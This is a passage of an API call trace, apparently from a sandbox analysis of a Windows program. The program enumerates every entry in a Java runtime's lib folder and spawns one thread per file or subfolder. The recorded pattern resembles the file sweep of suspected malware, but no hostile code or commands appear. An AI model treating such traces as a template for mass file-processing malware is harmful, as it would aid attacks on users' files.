(x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0052.442] wcscat (in: _Dest=0x48d1e8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0052.442] wcscat (in: _Dest=0x48d1e8, _Source="classlist" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\classlist") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\classlist" [0052.442] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x48d1e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10b4 [0052.443] FindNextFileW (in: hFindFile=0x440160, lpFindFileData=0x45ad70 | out: lpFindFileData=0x45ad70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cmm", cAlternateFileName="")) returned 1 [0052.443] wcscmp (_String1="cmm", _String2=".") returned 1 [0052.443] wcscmp (_String1="cmm", _String2="..") returned 1 [0052.443] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x52) returned 0x44a610 [0052.443] wcscpy (in: _Dest=0x44a610, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0052.443] wcscat (in: _Dest=0x44a610, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0052.443] wcscat (in: _Dest=0x44a610, _Source="cmm" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm" [0052.444] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44a610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10b8 [0052.445] FindNextFileW (in: hFindFile=0x440160, lpFindFileData=0x45ad70 | out: lpFindFileData=0x45ad70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x15ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-types.properties", cAlternateFileName="CONTEN~1.PRO")) returned 1 [0052.445] wcscmp (_String1="content-types.properties", _String2=".") returned 1 [0052.445] wcscmp (_String1="content-types.properties", _String2="..") returned 1 [0052.445] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x446660 [0052.445] wcscpy (in: _Dest=0x446660, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0052.445] wcscat (in: _Dest=0x446660, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0052.445] wcscat (in: _Dest=0x446660, _Source="content-types.properties" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\content-types.properties") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\content-types.properties" [0052.445] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x446660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10bc [0052.446] FindNextFileW (in: hFindFile=0x440160, lpFindFileData=0x45ad70 | out: lpFindFileData=0x45ad70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.data", cAlternateFileName="CURREN~1.DAT")) returned 1 [0052.446] wcscmp (_String1="currency.data", _String2=".") returned 1 [0052.446] wcscmp (_String1="currency.data", _String2="..") returned 1 [0052.447] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x43c390 [0052.447] wcscpy (in: _Dest=0x43c390, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0052.447] wcscat (in: _Dest=0x43c390, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0052.447] wcscat (in: _Dest=0x43c390, _Source="currency.data" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\currency.data") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\currency.data" [0052.447] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43c390, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c0 [0052.448] FindNextFileW (in: hFindFile=0x440160, lpFindFileData=0x45ad70 | out: lpFindFileData=0x45ad70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy", cAlternateFileName="")) returned 1 [0052.448] wcscmp (_String1="deploy", _String2=".") returned 1 [0052.448] wcscmp (_String1="deploy", _String2="..") returned 1 [0052.448] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x58) returned 0x44a2b0 [0052.448] wcscpy (in: _Dest=0x44a2b0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0052.448] wcscat (in: _Dest=0x44a2b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0052.448] wcscat (in: _Dest=0x44a2b0, _Source="deploy" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" [0052.448] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44a2b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c4 [0052.449] FindNextFileW (in: hFindFile=0x440160, lpFindFileData=0x45ad70 | out: lpFindFileData=0x45ad70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75246c40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x75246c40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x75305320, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x449777, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.jar", cAlternateFileName="")) returned 1 [0052.449] wcscmp (_String1="deploy.jar", _String2=".") returned 1 [0052.449] wcscmp (_String1="deploy.jar", _String2="..") returned 1 [0052.449] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48d458 [0052.449] wcscpy (in: _Dest=0x48d458, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0052.449] wcscat (in: _Dest=0x48d458, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0052.449] wcscat (in: _Dest=0x48d458, _Source="deploy.jar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy.jar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy.jar" [0052.449] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x48d458, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c8 [0052.451] FindNextFileW (in: hFindFile=0x440160, lpFindFileData=0x45ad70 | out: lpFindFileData=0x45ad70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7577bc60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7577bc60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ext", cAlternateFileName="")) returned 1 [0052.451] wcscmp (_String1="ext", _String2=".") returned 1 [0052.451] wcscmp (_String1="ext", _String2="..") returned 1 [0052.451] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x52) returned 0x44a730 [0052.451] wcscpy (in: _Dest=0x44a730, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0052.451] wcscat (in: _Dest=0x44a730, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0052.451] wcscat (in: _Dest=0x44a730, _Source="ext" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" [0052.451] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44a730, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10cc [0052.452] FindNextFileW (in: hFindFile=0x440160, lpFindFileData=0x45ad70 | out: lpFindFileData=0x45ad70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="flavormap.properties", cAlternateFileName="FLAVOR~1.PRO")) returned 1 [0052.452] wcscmp (_String1="flavormap.properties", _String2=".") returned 1 [0052.452] wcscmp (_String1="flavormap.properties", _String2="..") returned 1 [0052.452] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x3ffc98 [0052.452] wcscpy (in: _Dest=0x3ffc98, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0052.452] wcscat (in: _Dest=0x3ffc98, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0052.453] wcscat (in: _Dest=0x3ffc98, _Source="flavormap.properties" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\flavormap.properties") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\flavormap.properties" [0052.453] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x3ffc98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10d0 [0052.454] FindNextFileW (in: hFindFile=0x440160, lpFindFileData=0x45ad70 | out: lpFindFileData=0x45ad70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xe56, dwReserved0=0x0, dwReserved1=0x0, cFileName="fontconfig.bfc", cAlternateFileName="FONTCO~1.BFC")) returned 1 [0052.454] wcscmp (_String1="fontconfig.bfc", _String2=".") returned 1 [0052.454] wcscmp (_String1="fontconfig.bfc", _String2="..") returned 1 [0052.454] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x68) returned 0x43c630 [0052.454] wcscpy (in: _Dest=0x43c630, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0052.454] wcscat (in: _Dest=0x43c630, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0052.454] wcscat (in: _Dest=0x43c630, _Source="fontconfig.bfc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\fontconfig.bfc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\fontconfig.bfc" [0052.454] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43c630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10d4 [0052.455] FindNextFileW (in: hFindFile=0x440160, lpFindFileData=0x45ad70 | out: lpFindFileData=0x45ad70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x28ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="fontconfig.properties.src", cAlternateFileName="FONTCO~1.SRC")) returned 1 [0052.455] wcscmp (_String1="fontconfig.properties.src", _String2=".") returned 1 [0052.455] wcscmp (_String1="fontconfig.properties.src", _String2="..") returned 1 [0052.455] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x96f8668 [0052.455] wcscpy (in: _Dest=0x96f8668, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0052.455] wcscat (in: _Dest=0x96f8668, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0052.455] wcscat (in: _Dest=0x96f8668, _Source="fontconfig.properties.src" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\fontconfig.properties.src") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\fontconfig.properties.src" [0052.455] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f8668, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10d8 [0052.457] FindNextFileW (in: hFindFile=0x440160, lpFindFileData=0x45ad70 | out: lpFindFileData=0x45ad70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fonts", cAlternateFileName="")) returned 1 [0052.457] wcscmp (_String1="fonts", _String2=".") returned 1 [0052.457] wcscmp (_String1="fonts", _String2="..") returned 1 [0052.457] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x56) returned 0x44a4f0 [0052.457] wcscpy (in: _Dest=0x44a4f0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0052.457] wcscat (in: _Dest=0x44a4f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0052.457] wcscat (in: _Dest=0x44a4f0, _Source="fonts" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts" [0052.457] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44a4f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10dc [0052.458] FindNextFileW (in: hFindFile=0x440160, lpFindFileData=0x45ad70 | out: lpFindFileData=0x45ad70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="i386", cAlternateFileName="")) returned 1 [0052.458] wcscmp (_String1="i386", _String2=".") returned 1 [0052.458] wcscmp (_String1="i386", _String2="..") returned 1 [0052.458] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x54) returned 0x44a010 [0052.458] wcscpy (in: _Dest=0x44a010, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0052.458] wcscat (in: _Dest=0x44a010, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0052.458] wcscat (in: _Dest=0x44a010, _Source="i386" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386" [0052.459] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44a010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10e0 [0052.460] FindNextFileW (in: hFindFile=0x440160, lpFindFileData=0x45ad70 | out: lpFindFileData=0x45ad70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0052.460] wcscmp (_String1="images", _String2=".") returned 1 [0052.460] wcscmp (_String1="images", _String2="..") returned 1 [0052.460] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x58) returned 0x44a790 [0052.460] wcscpy (in: _Dest=0x44a790, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0052.460] wcscat (in: _Dest=0x44a790, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0052.460] wcscat (in: _Dest=0x44a790, _Source="images" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images" [0052.460] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44a790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10e4 [0052.461] FindNextFileW (in: hFindFile=0x440160, lpFindFileData=0x45ad70 | out: lpFindFileData=0x45ad70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx.properties", cAlternateFileName="JAVAFX~1.PRO")) returned 1 [0052.461] wcscmp (_String1="javafx.properties", _String2=".") returned 1 [0052.461] wcscmp (_String1="javafx.properties", _String2="..") returned 1 [0052.461] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x5e46160 [0052.461] wcscpy (in: _Dest=0x5e46160, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0052.461] wcscat (in: _Dest=0x5e46160, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0052.461] wcscat (in: _Dest=0x5e46160, _Source="javafx.properties" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\javafx.properties") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\javafx.properties" [0052.461] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e46160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10e8 [0052.462] FindNextFileW (in: hFindFile=0x440160, lpFindFileData=0x45ad70 | out: lpFindFileData=0x45ad70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7532b480, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7532b480, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x753515e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd9d17, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.jar", cAlternateFileName="")) returned 1 [0052.462] wcscmp (_String1="javaws.jar", _String2=".") returned 1 [0052.462] wcscmp (_String1="javaws.jar", _String2="..") returned 1 [0052.462] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48d2b8 [0052.463] wcscpy (in: _Dest=0x48d2b8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0052.463] wcscat (in: _Dest=0x48d2b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0052.463] wcscat (in: _Dest=0x48d2b8, _Source="javaws.jar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\javaws.jar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\javaws.jar" [0052.463] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x48d2b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10ec [0052.464] FindNextFileW (in: hFindFile=0x440160, lpFindFileData=0x45ad70 | out: lpFindFileData=0x45ad70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1aa8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="jce.jar", cAlternateFileName="")) returned 1 [0052.464] wcscmp (_String1="jce.jar", _String2=".") returned 1 [0052.464] wcscmp (_String1="jce.jar", _String2="..") returned 1 [0052.464] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5a) returned 0x48d180 [0052.464] wcscpy (in: _Dest=0x48d180, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0052.464] wcscat (in: _Dest=0x48d180, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0052.464] wcscat (in: _Dest=0x48d180, _Source="jce.jar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\jce.jar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\jce.jar" [0052.464] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x48d180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10f0 [0052.465] FindNextFileW (in: hFindFile=0x440160, lpFindFileData=0x45ad70 | out: lpFindFileData=0x45ad70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr", cAlternateFileName="")) returned 1 [0052.465] wcscmp (_String1="jfr", _String2=".") returned 1 [0052.465] wcscmp (_String1="jfr", _String2="..") returned 1 [0052.465] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x52) returned 0x44a850 [0052.465] wcscpy (in: _Dest=0x44a850, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0052.465] wcscat (in: _Dest=0x44a850, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0052.465] wcscat (in: _Dest=0x44a850, _Source="jfr" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr" [0052.465] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44a850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10f4 [0052.467] FindNextFileW (in: hFindFile=0x440160, lpFindFileData=0x45ad70 | out: lpFindFileData=0x45ad70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8204f, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.jar", cAlternateFileName="")) returned 1 [0052.467] wcscmp (_String1="jfr.jar", _String2=".") returned 1 [0052.467] wcscmp (_String1="jfr.jar", _String2="..") returned 1 [0052.467] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5a) returned 0x48d660 [0052.467] wcscpy (in: _Dest=0x48d660, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0052.467] wcscat (in: _Dest=0x48d660, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0052.467] wcscat 